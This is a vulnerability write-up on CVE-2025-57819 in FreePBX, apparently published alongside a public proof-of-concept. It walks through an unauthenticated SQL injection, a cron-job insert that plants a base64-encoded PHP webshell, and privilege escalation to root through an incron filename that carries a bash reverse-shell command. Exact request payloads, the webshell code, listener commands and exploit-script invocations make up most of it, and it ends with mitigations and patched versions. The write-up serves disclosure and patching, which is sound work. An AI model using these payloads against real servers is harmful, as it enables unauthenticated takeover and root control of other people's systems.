CVE-2025-57819: FreePBX SQLi → RCE → Root
On this page
- FreePBX | CVE-2025-57819 | SQLi → RCE → Root
- Vulnerability: Unauthenticated SQL Injection → Remote Code Execution → Privilege Escalation (Root)
- CVE: CVE-2025-57819
- Introduction
- 1. Vulnerability Overview
- 2. SQL Injection Verification
- 3. Webshell Deployment via cron_jobs
- 4. System Reconnaissance
- 5. Root Shell — incron Privilege Escalation
- 6. PoC Script Usage
- 7. Conclusion and Mitigation
- Final Thoughts
FreePBX | CVE-2025-57819 | SQLi → RCE → Root
Vulnerability: Unauthenticated SQL Injection → Remote Code Execution → Privilege Escalation (Root)
CVE: CVE-2025-57819
Introduction
This write-up covers CVE-2025-57819, a critical full-chain vulnerability discovered in FreePBX’s endpoint module. The attack chain begins with an unauthenticated SQL injection, escalates to remote code execution via a dropped PHP webshell, and ultimately achieves a root shell through incron privilege escalation.
1. Vulnerability Overview
FreePBX’s endpoint module passes the brand parameter from /admin/ajax.php directly into a SQL query without any sanitization or prepared statements. Since this parameter is user-controlled and publicly accessible, an unauthenticated attacker can leverage EXTRACTVALUE error-based SQL injection to read from the database — and more critically, INSERT arbitrary records into the cron_jobs table.
Affected Versions:
| FreePBX | Patched Version |
|---|---|
| 15.x | 15.0.66 |
| 16.x | 16.0.89 |
| 17.x | 17.0.3 |

Attack Chain:
SQLi (EXTRACTVALUE) → cron_jobs INSERT → PHP Webshell → incron Trigger → Root Shell
💡 Root Cause:
Thebrandparameter in/admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&brand=<PAYLOAD>is concatenated directly into a SQL query. No input validation or prepared statements are used, making the attack possible without authentication.
2. SQL Injection Verification
The injection uses EXTRACTVALUE error-based technique. The server reflects SQL query output inside an XPath syntax error message:
Read Payload:
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(<subquery>),0x7e))-- -
Example Request:
GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'%20AND%20EXTRACTVALUE(1%2CCONCAT(0x7e%2C(SELECT%201)%2C0x7e))--+-
Host: freepbx.example.com
Response:
{
"error": {
"message": "XPATH syntax error: '~1~'"
}
}
The value between ~ delimiters is the SQL output. Using this technique, database information is extracted:
Database : asterisk
Version : 10.x.x-MariaDB
DB User : asterisk@localhost
3. Webshell Deployment via cron_jobs
Beyond reading data, INSERT statements can also be executed. A cron job is inserted into the cron_jobs table that runs every minute and writes a base64-encoded PHP webshell to the web root:
Write Payload:
x'; INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','poc-webshell','echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==|base64 -d >/var/www/html/shell.php',NULL,'* * * * *',30,1,1)-- -
Webshell content (after base64 decode):
<?php system($_GET['cmd']); ?>
After approximately 60 seconds, the cron fires and webshell access is confirmed:
GET /shell.php?cmd=id
→ uid=1000(asterisk) gid=1000(asterisk) groups=1000(asterisk)
4. System Reconnaissance
Through the webshell, basic system information is gathered:
id → uid=1000(asterisk)
hostname→ freepbx-server
kernel → 5.x.x-generic
OS → Ubuntu / CentOS
ip → inet 10.x.x.x
5. Root Shell — incron Privilege Escalation
This step escalates from the asterisk user to root. FreePBX systems typically run incrond (inotify-based cron). Files written to /var/spool/asterisk/incron/ are processed by fwconsole hooks executing as root.
Payload Construction:
The reverse shell command is encoded as follows:
- Command +
"txn"are placed into a JSON array:["bash -i >& /dev/tcp/LHOST/LPORT 0>&1", "txn"] - The JSON is zlib-compressed
- Encoded with base64, with
/replaced by_
The resulting payload is used as a filename written via the webshell:
/var/spool/asterisk/incron/api.fwconsole-commands.<ENCODED_PAYLOAD>
incrond detects this file, decodes the payload, and executes the fwconsole hook as root:
nc -lvnp 9999

6. PoC Script Usage
git clone https://github.com/ozcanpng/CVE-2025-57819-FreePBX-RCE2Root
cd CVE-2025-57819-FreePBX-RCE2Root
pip install -r requirements.txt
Start a listener:
nc -lvnp 9999
Run the exploit:
python3 CVE-2025-57819.py freepbx.example.com 192.168.1.50 9999

The script executes sequentially:
- Target reachability check
- SQLi verification and DB enumeration
- Cron job insertion + webshell polling (up to 90 seconds)
- System reconnaissance
- incron payload construction and root shell trigger
- (Optional) Webshell and cron job cleanup
With cleanup:
python3 CVE-2025-57819.py freepbx.example.com 192.168.1.50 9999 --cleanup
7. Conclusion and Mitigation
CVE-2025-57819 is a rare full-chain vulnerability that achieves complete root access without any authentication.
Recommended Mitigations:
- Update FreePBX to a patched version:
15.0.66,16.0.89, or17.0.3 - Disable the
endpointmodule if not needed - Restrict access to
/admin/ajax.phpby IP allowlist - Audit whether
incrondis necessary and restrict write access to its spool directory
Final Thoughts
This vulnerability is a textbook example of why input sanitization is non-negotiable. A single parameter concatenated into a SQL query — without a prepared statement — leads to data exfiltration, remote code execution, and ultimately full root control.
GitHub: CVE-2025-57819-FreePBX-RCE2Root
Advisory: GHSA-m42g-xg4c-5f3h